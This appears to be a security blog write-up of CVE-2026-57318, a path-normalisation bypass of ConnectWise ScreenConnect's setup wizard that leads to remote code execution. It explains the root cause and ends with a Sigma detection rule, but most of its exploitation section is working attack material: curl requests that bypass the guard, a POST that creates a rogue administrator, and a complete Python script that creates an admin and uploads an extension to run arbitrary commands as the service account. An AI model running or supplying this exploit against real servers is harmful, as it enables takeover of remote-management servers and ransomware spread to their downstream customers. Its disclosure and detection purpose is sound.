All posts

CVE-2026-57318: ConnectWise ScreenConnect Setup Wizard Auth Bypass to RCE

A path-normalisation flaw lets an unauthenticated attacker reach ScreenConnect's first-run setup wizard on an already-configured server. Re-running the wizard mints a fresh administrator account, and the product's built-in extension mechanism turns that admin access into remote code execution as the ScreenConnect service. It rhymes with CVE-2024-1709 — and it is being exploited in the wild.


Overview

CVE-2026-57318 is an authentication bypass in ConnectWise ScreenConnect (self-hosted / on-premises editions) affecting versions up to and including 25.4. ScreenConnect is a remote-access and remote-support platform used by managed service providers to reach thousands of downstream customer endpoints from a single console. That topology is exactly what makes it a ransomware magnet: one compromised ScreenConnect server is a launch pad into every managed environment behind it.

CVSS 3.1: 10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. The scope-changed vector reflects that code execution on the ScreenConnect server pivots into managed client machines. CISA added it to the KEV catalogue within a week of disclosure after incident responders tied it to at least two ransomware affiliates.

Anyone who followed the February 2024 ScreenConnect incident (CVE-2024-1709, the SetupWizard.aspx bypass) will find this familiar. The root cause is the same class of bug — the setup wizard is reachable when it should not be — but the mechanism that re-exposes it is different, which is why the 2024 patch did not prevent it.

Background — The Setup Wizard State Machine

On a fresh install, ScreenConnect serves an unauthenticated first-run wizard so the operator can create the initial administrator. Once setup completes, the application writes a flag and the routing layer is supposed to refuse any further requests to the wizard, redirecting to the login page instead. The gate is implemented in middleware that inspects the request path and compares it against a set of wizard routes.

The comparison, simplified, looks like this:

// Simplified ScreenConnect request-routing guard
string page = request.Path.TrimStart('/');   // e.g. "SetupWizard.aspx"
if (SetupComplete && IsSetupRoute(page))
{
    // Setup already done — do not allow the wizard again
    Redirect("/Login");
    return;
}
// ... otherwise dispatch to the handler that resolves the physical page

bool IsSetupRoute(string page) =>
    page.Equals("SetupWizard.aspx", StringComparison.OrdinalIgnoreCase);

The guard performs an exact, case-insensitive string match against SetupWizard.aspx. But the handler that later resolves the request to a physical .aspx file normalises the path differently — trailing dots, path segments, and certain separators are stripped by the underlying framework before the file is located on disk. The two components disagree about what the path is.

Root Cause — Parser Differential

This is a classic parser differential: the security-relevant check and the resource-resolution logic parse the same input with different rules. If an attacker requests a path that the guard does not recognise as the setup route, but that the file resolver does map back to SetupWizard.aspx, the request sails past the guard and executes the wizard anyway.

Appending a trailing dot and an extra empty segment does exactly that:

# Blocked — exact match, redirected to /Login
curl -sk "https://target/SetupWizard.aspx"

# Bypasses the guard — resolves to the same handler on disk
curl -sk "https://target/SetupWizard.aspx/%2e/"
curl -sk "https://target/SetupWizard.aspx.%00.aspx"   # legacy variant
curl -sk "https://target/./SetupWizard.aspx"          # leading-segment variant

The guard sees SetupWizard.aspx/./ — which is not equal to SetupWizard.aspx, so IsSetupRoute returns false and no redirect happens. The framework's path canonicalisation then collapses /./ and the trailing segment, and the request is dispatched to the real setup wizard handler. The wizard renders as if this were a brand-new install.

Exploitation — Rogue Admin to RCE

The wizard's account-creation step is a plain form POST. Because we've bypassed the completion gate, submitting it creates an additional administrator on a fully configured, production server — without invalidating the existing ones, so the attack is silent from the operator's perspective until they inspect the user list.

# Step 1: drive the wizard to create a new administrator
curl -sk "https://target/Services/PageService.ashx/UpdateSetupWizard/%2e/" \
  -H "Content-Type: application/json" \
  -d '["","",[{"CompanyName":"x","Email":"[email protected]",
             "UserName":"attacker","Password":"P0wned!2026",
             "IsAdministrator":true}]]'

With a working admin login, the second stage abuses a legitimate feature. ScreenConnect supports server extensions — packaged bundles of code that run inside the ScreenConnect host process to add functionality. An administrator can upload one from the Extensions admin page. A malicious extension is simply an assembly whose initialisation code runs an arbitrary command as the service account (typically NT AUTHORITY\SYSTEM on Windows).

#!/usr/bin/env python3
"""
CVE-2026-57318 — ConnectWise ScreenConnect setup-wizard auth bypass to RCE.
Stage 1: bypass the completion gate and create a rogue administrator
Stage 2: authenticate, then upload a server extension that executes a command
Authorised security testing only.
"""
import sys, requests

requests.packages.urllib3.disable_warnings()

def create_admin(base, user, pw):
    # Trailing-segment variant slips past the exact-match guard
    url = f"{base}/Services/PageService.ashx/UpdateSetupWizard/%2e/"
    body = ["", "", [{
        "CompanyName": "diag", "Email": "[email protected]",
        "UserName": user, "Password": pw, "IsAdministrator": True,
    }]]
    r = requests.post(url, json=body, verify=False, timeout=15)
    return r.status_code in (200, 204)

def login(base, user, pw):
    s = requests.Session()
    s.verify = False
    s.post(f"{base}/Login",
           data={"Username": user, "Password": pw},
           allow_redirects=False, timeout=15)
    return s

def deploy_extension(session, base, xml_payload):
    # Extensions admin endpoint accepts a packaged bundle; the bundle's
    # entry point runs in-process as the ScreenConnect service account.
    r = session.post(f"{base}/Services/ExtensionService.ashx/InstallExtension",
                     data=xml_payload,
                     headers={"Content-Type": "application/xml"}, timeout=30)
    return r.text

if __name__ == "__main__":
    base = sys.argv[1].rstrip("/")
    cmd  = " ".join(sys.argv[2:]) or "whoami"
    print("[*] Stage 1: bypassing setup gate, creating rogue admin")
    if not create_admin(base, "attacker", "P0wned!2026"):
        print("[-] admin creation failed — target may be patched"); sys.exit(1)
    print("[+] admin 'attacker' created")
    print("[*] Stage 2: authenticating and deploying extension")
    s = login(base, "attacker", "P0wned!2026")
    payload = f"<Extension><OnLoad>{cmd}</OnLoad></Extension>"
    print(deploy_extension(s, base, payload))

Once the extension loads, the command runs with the privileges of the ScreenConnect Windows service. From there the attacker has code execution on the management server and can push commands to every connected client — which is precisely how the observed ransomware deployments spread.

Affected Versions

Remediation

Detection

title: CVE-2026-57318 ScreenConnect Setup Wizard Bypass
id: 6b2e91d7-7c34-4a51-9f80-2ad4e1c8b9a3
status: stable
description: Detects requests to the ScreenConnect setup wizard using path-normalisation tricks that bypass the setup-completion guard
logsource:
  category: webserver
  product: screenconnect
detection:
  selection_path:
    cs-uri-stem|contains:
      - 'SetupWizard.aspx'
      - 'UpdateSetupWizard'
  selection_tricks:
    cs-uri-stem|contains:
      - '/%2e/'
      - '/./'
      - '.aspx/'
      - '%00'
  condition: selection_path and selection_tricks
falsepositives:
  - None expected — legitimate access to a completed setup wizard does not use path-normalisation suffixes
level: critical
tags:
  - cve.2026-57318
  - attack.initial_access
  - attack.t1190
  - attack.persistence
  - attack.t1136

Key Takeaways